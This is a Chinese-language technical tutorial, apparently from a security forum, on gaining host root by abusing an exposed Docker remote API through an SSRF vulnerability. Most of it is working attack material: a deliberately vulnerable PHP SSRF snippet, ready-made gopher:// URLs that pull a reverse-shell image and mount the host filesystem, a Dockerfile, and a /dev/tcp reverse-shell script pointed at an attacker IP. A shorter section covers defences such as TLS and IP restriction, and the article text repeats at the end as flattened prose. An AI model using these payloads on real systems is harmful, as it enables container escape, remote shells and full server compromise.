技术讨论 | 通过SSRF漏洞攻击Docker远程API获取服务器Root权限
字数 1249 2025-08-18 11:37:28

通过SSRF漏洞攻击Docker远程API获取服务器Root权限技术分析

1. Docker远程API概述

Docker远程API是Docker提供的用于远程管理Docker容器的RESTful接口。默认情况下,Docker Daemon通过Unix Socket运行(unix:///var/run/docker.sock),但可以配置为通过TCP端口开放。

1.1 开启Docker远程API

在Ubuntu系统中,可通过以下步骤开启Docker远程API:

  1. 编辑服务配置文件:
sudo vim /lib/systemd/system/docker.service
  1. 修改ExecStart行,添加TCP监听:
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
  1. 重启Docker服务:
sudo service docker restart

1.2 关键API接口

  • 列出所有容器:
curl http://localhost:4243/v1.24/containers/json
  • 列出所有镜像:
curl http://localhost:4243/v1.24/images/json
  • 创建并运行容器:
curl -H "Content-Type: application/json" \
     -d '{"Image": "alpine", "Cmd": ["echo", "hello world"]}' \
     -X POST http://localhost:4243/v1.24/containers/create

curl -X POST http://localhost:4243/v1.24/containers/[CONTAINER_ID]/start

2. Docker容器提权原理

Docker Daemon以root权限运行,当容器能够挂载宿主机文件系统时,就可能获得宿主机root权限。

2.1 关键攻击命令

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

这条命令的作用:

  1. 从Docker Hub下载chrisfosterelli/rootplease镜像
  2. 将宿主机根目录/挂载到容器内的/hostOS
  3. 进入容器交互模式
  4. 容器内执行exploit.sh脚本,通过chroot/hostOS获取宿主机权限

2.2 rootplease镜像分析

该镜像的exploit.sh核心逻辑是:

#!/bin/bash
chroot /hostOS

通过这种方式,攻击者可以在容器内直接操作宿主机的文件系统。

3. 通过SSRF攻击Docker API

3.1 攻击前提条件

  1. 存在SSRF漏洞(如PHP中不安全的curl调用)
  2. 目标服务器开放了Docker远程API(通常在内网)

3.2 典型SSRF漏洞代码

<?php
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $_GET['url']);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($curl);
curl_close($curl);
print_r($data);

3.3 利用Gopher协议发送POST请求

由于SSRF通常只能发送GET请求,而Docker API多需要POST,因此使用Gopher协议构造POST请求:

  1. 构造下载恶意镜像的POST请求:
POST /v1.24/images/create?fromImage=imagemlt/reverse_shell HTTP/1.1
Host: localhost:4243
User-Agent: Docker-Client/18.03.1-ce (linux)
Content-Length: 0
Content-Type: text/plain

转换为Gopher URL:

gopher://172.17.0.1:4243/_POST%20/v1.24/images/create%3FfromImage%3Dimagemlt/reverse_shell%20HTTP/1.1%0AHost%3A%20localhost%3A4243%0AUser-Agent%3A%20Docker-Client/18.03.1-ce%20%28linux%29%0AContent-Length%3A%200%0AContent-Type%3A%20text/plain%0A%0A
  1. 创建容器请求:
{
  "Cmd": ["your ip", "3456"],
  "Image": "imagemlt/reverse_shell",
  "HostConfig": {
    "Binds": ["/:/hostOS"]
  }
}

转换为Gopher URL:

gopher://172.17.0.1:4243/_POST%20/v1.24/containers/create%20HTTP/1.1%0AHost%3A%20localhost%3A4243%0AUser-Agent%3A%20Docker-Client/18.03.1-ce%20%28linux%29%0AContent-Length%3A%2099%0AContent-Type%3A%20application/json%0A%0A%7B%22Cmd%22%3A%5B%22your%20ip%22%2C%223456%22%5D%2C%22Image%22%3A%22imagemlt/reverse_shell%22%2C%22HostConfig%22%3A%7B%22Binds%22%3A%5B%22/%3A/hostOS%22%5D%7D%7D%0A%0d%0a
  1. 启动容器请求:
POST /v1.24/containers/[CONTAINER_ID]/start HTTP/1.1
Host: localhost:4243
User-Agent: Docker-Client/18.03.1-ce (linux)
Content-Length: 0
Content-Type: application/json

3.4 恶意镜像构造

Dockerfile:

FROM ubuntu:14.04
COPY exploit.sh /exploit.sh
ENTRYPOINT ["/bin/bash", "exploit.sh"]

exploit.sh:

#!/bin/bash
bash -i >& /dev/tcp/$1/$2 0>&1

4. 防御措施

4.1 基础防护

  1. 不要随意开启Docker远程API:在非必要情况下不要启用TCP监听
  2. 限制访问源IP:如果必须开启,设置防火墙规则仅允许可信IP访问

4.2 高级防护(TLS认证)

  1. 生成CA和服务器证书:
# 生成CA私钥
openssl genrsa -aes256 -out ca-key.pem 4096

# 生成CA证书
openssl req -new -x509 -days 365 -key ca-key.pem -sha256 -out ca.pem

# 生成服务器私钥
openssl genrsa -out server-key.pem 4096

# 生成服务器证书签名请求(CSR)
openssl req -subj "/CN=$HOST" -sha256 -new -key server-key.pem -out server.csr

# 签署服务器证书
echo subjectAltName = DNS:$HOST,IP:10.10.10.10,IP:127.0.0.1 >> extfile.cnf
echo extendedKeyUsage = serverAuth >> extfile.cnf
openssl x509 -req -days 365 -sha256 -in server.csr -CA ca.pem -CAkey ca-key.pem \
  -CAcreateserial -out server-cert.pem -extfile extfile.cnf
  1. 配置Docker Daemon使用TLS:
docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem \
  --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock
  1. 客户端配置:
export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

5. 攻击流程总结

  1. 发现存在SSRF漏洞的Web应用
  2. 探测内网开放的Docker API服务(通常2375或4243端口)
  3. 通过Gopher协议构造POST请求:
    • 下载恶意镜像
    • 创建挂载宿主机根目录的容器
    • 启动容器
  4. 通过反弹shell或写入crontab等方式获取宿主机root权限

6. 参考资料

  1. Docker Remote api在安全中的应用杂谈
  2. Docker 安全-通过 Docker 提升权限
  3. 利用 gopher 协议拓展攻击面
通过SSRF漏洞攻击Docker远程API获取服务器Root权限技术分析 1. Docker远程API概述 Docker远程API是Docker提供的用于远程管理Docker容器的RESTful接口。默认情况下,Docker Daemon通过Unix Socket运行( unix:///var/run/docker.sock ),但可以配置为通过TCP端口开放。 1.1 开启Docker远程API 在Ubuntu系统中,可通过以下步骤开启Docker远程API: 编辑服务配置文件: 修改ExecStart行,添加TCP监听: 重启Docker服务: 1.2 关键API接口 列出所有容器: 列出所有镜像: 创建并运行容器: 2. Docker容器提权原理 Docker Daemon以root权限运行,当容器能够挂载宿主机文件系统时,就可能获得宿主机root权限。 2.1 关键攻击命令 这条命令的作用: 从Docker Hub下载 chrisfosterelli/rootplease 镜像 将宿主机根目录 / 挂载到容器内的 /hostOS 进入容器交互模式 容器内执行 exploit.sh 脚本,通过 chroot 到 /hostOS 获取宿主机权限 2.2 rootplease镜像分析 该镜像的 exploit.sh 核心逻辑是: 通过这种方式,攻击者可以在容器内直接操作宿主机的文件系统。 3. 通过SSRF攻击Docker API 3.1 攻击前提条件 存在SSRF漏洞(如PHP中不安全的curl调用) 目标服务器开放了Docker远程API(通常在内网) 3.2 典型SSRF漏洞代码 3.3 利用Gopher协议发送POST请求 由于SSRF通常只能发送GET请求,而Docker API多需要POST,因此使用Gopher协议构造POST请求: 构造下载恶意镜像的POST请求: 转换为Gopher URL: 创建容器请求: 转换为Gopher URL: 启动容器请求: 3.4 恶意镜像构造 Dockerfile: exploit.sh: 4. 防御措施 4.1 基础防护 不要随意开启Docker远程API :在非必要情况下不要启用TCP监听 限制访问源IP :如果必须开启,设置防火墙规则仅允许可信IP访问 4.2 高级防护(TLS认证) 生成CA和服务器证书: 配置Docker Daemon使用TLS: 客户端配置: 5. 攻击流程总结 发现存在SSRF漏洞的Web应用 探测内网开放的Docker API服务(通常2375或4243端口) 通过Gopher协议构造POST请求: 下载恶意镜像 创建挂载宿主机根目录的容器 启动容器 通过反弹shell或写入crontab等方式获取宿主机root权限 6. 参考资料 Docker Remote api在安全中的应用杂谈 Docker 安全-通过 Docker 提升权限 利用 gopher 协议拓展攻击面